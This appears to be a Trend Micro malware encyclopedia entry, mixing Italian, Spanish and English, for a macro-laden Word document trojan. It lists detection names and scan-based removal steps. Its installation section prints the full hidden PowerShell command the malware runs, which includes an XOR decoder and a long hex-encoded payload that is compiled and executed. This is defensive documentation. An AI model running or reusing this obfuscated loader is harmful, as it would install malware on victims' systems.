Analizzato da: Kennard Yap   
 

VBA/TrojanDownloader.Agent.RVM trojan (NOD32); Trojan:W32/MalDoc.A (FSECURE)

 Piattaforma:

Windows

 Valutazione del rischio complessivo:
 Reported Infection:
Basso
Medio
Alto
Critico

  • Tipo di minaccia informatica:
    Trojan

  • Distruttivo?:
    No

  • Crittografato?:
     

  • In the wild::
    Sì

  Panoramica e descrizione

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Dettagli tecnici

Dimensione file: 24,951 bytes
Tipo di file: DOC

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • powershell -WindowStyle Hidden Sl$$%-SSl$$%*Sfunction z994c {param($ubfa17a)$nc4d731='y95eab6';$ka666='';for ($i=0; $i -lt $ubfa17a.length;$i+=2){$y488b4=[convert]::ToByte($ubfa17a.Substring($i,2),16);$ka666+=[char]($y488b4 -bxor $nc4d731[($i/2)%$nc4d731.length]);}return $ka666;}Sl$$%-SSl$$%*S$hd2ba7a = '0c4a5c0b064265004a41000c59430a505b0241314f0a4d50084f3043174d5c08044c7f174d50170e12651c4b430c020745424c460c0f05162a404611040f183d5054020f0d450d5056165a174510575245321b450d5c584b282d0d0c4a5c0b064265004a41000c4c781c4d0e686b12431b555c0641015a184a46451754041c5c041e3a265a157058150e1042511b5e00130c53150a07474d27580d4b4c350e0b580d0417220416660b5656240506441c4a4647483f16094c57090801160a4d54110801161c414100130c16305741351510161601560705501e305741351510160c5a0151585103554a4117080c515958535c55571f426271090d2b5b0956471149405d1c4b5b000d51045b1515200f164400695a0c0f1616441917290e03523550571700104f5b106845111754155056451216570d505645041a421c4b5b45280c42294d47450654044a5f1d1615105f175e1512570001180e1c5e3a265a157058150e1042511b5e00130c53150a07474d4273174d471c310d5f174d0847370b440d4c54093110590d5c5611434b6b594940070d0b55594a4104150b55595c4d11041058595b5a0a0d42571c5c0657492b580d694117411353410104004d377f174d6511134254480d0304005a1a594c5c0b15424c4c5c5452054e16164c4145140b580d1957575856051c100e3e250e5a3054450a13161e5b7250170f075a4a0b1b010d0e145519700b15104f29565c0b155f142b4d59280e1453345c580a131b1455196600152e570a4d7017130d44445f540912071f2419461100165f1a19501d1507441719430a0806160a0c0c5657551e305741351510161d5d5650574e7f174d651113425d4c0f060155071a105741451506054c5807074859460c5b590c0242450d58410c02425f174d1504595b574e08034d48197f174d65111342581f5b04075504164419525353515051430c5c55011e5b080d50555600495a010351540318080047484b0d105f1d0b0700071b0d53585c2b580d6941174f38530b561c1e060d42161953575201054e02482c0f16660d4b15020353074f0e00580e5a551b5d074d0f0454485b01034d180f400d564d43510e4c0d01535101054b0904505653014e5b01555151064e09025155401f50025c0349055448080352545f0b30574135151018235c470a481951164d5a450750051a0a025e1c377f174d651113425b18000057565f1e2c705b11311644500c0e10080c42595503505756071f04055e08041e5858500052501e1e5b04545755035554545c54500155094d51514e590c4d15095757004d08534c481951164d5a450750051a0a025e1c204f0d5c6e38411500400d00075c1906010a0449511a501f15051d58524b42705b1131164459495156585b0e44745417120a57151774090d0d55317e590a03035a510a1c5e2c03440a5154094f215909401d12575b024c5b19554d12524a000c5d4d511f424a005c52540151575012412b580d69411749055448080352544c6216705b1157561e5012051d5152071b10191505510f400119564859504b0a56565658162e5c57260d0b53174d151c5657531f0d080b0415162e5c57260d0b53174d1d4c5a11420b505b0241170e185d0258240c40104b5a0b0c07580d177200152459155d50173103421111700b170b44165758000f16182a49500608035a3f565901041018384945090801570d505a0b25034218101e473d3e501b0c010059401d03000c51024a144c0e0006550606491b1c5e1855031c5f014b250d4117555a0405245f155c1d1f585b021a1117545056524d0804505400021d080c550456534d0b01075057074d0c0c545953014c5804525154021a0d0755045300485805065101064a0c04540256574858075d515505490e0d550757544e5a05555356064c080d540256074c09174c4d170e185d024c5a3244165a5016123142184b412c0f0459595e03070201044e045b001642660b5656001211650d584711280c501611405d000601500265170e01530a4a1b361503440d1152530301554b0e1c5e1307420c4b5b4551594b094c57090801160a4d54110801160a4d470c0f051603000c51024a450d4b5c0b0642421d00535004041f024a4117080c51594c5651555b054c04171c585753185b03475a11420b505b024105004b0a53583216441057524b240f460d400e030e101e10574145085f0642500911055b504c5c534b2d07581e4d5d5e08490b4b104e0718165359560d06030604447a5a0b1707440d17610a231b421c1141015804031c5f1b361400450d4b5c0b064a5f550b1c4950541f425e035752041d4411560d00101f51560d0603060459671510025602400a003e490b194b1015404117554d0d0c56544c7a1c575211093f1f4244470015174417195253535150424448';Sl$$%-SSl$$%*S$hd2ba7a2 = z994c($hd2ba7a);Sl$$%-SSl$$%*SAdd-Type -TypeDefinition $hd2ba7a2;Sl$$%-SSl$$%*S[v62ee1]::a89a716();Sl$$%-SSl$$%*SSl$$%-SSl$$%*SSl$$%-SSl$$%*_;

  Soluzioni

Motore di scansione minimo: 9.850
Primo file di pattern VSAPI: 15.718.02
Data di pubblicazione del primo pattern VSAPI: 02 marzo 2020
Versione pattern VSAPI OPR: 15.719.00
Data di pubblicazione del pattern VSAPI OPR: 03 marzo 2020

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.W97M.POWLOAD.TIOIBEKE En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Sondaggio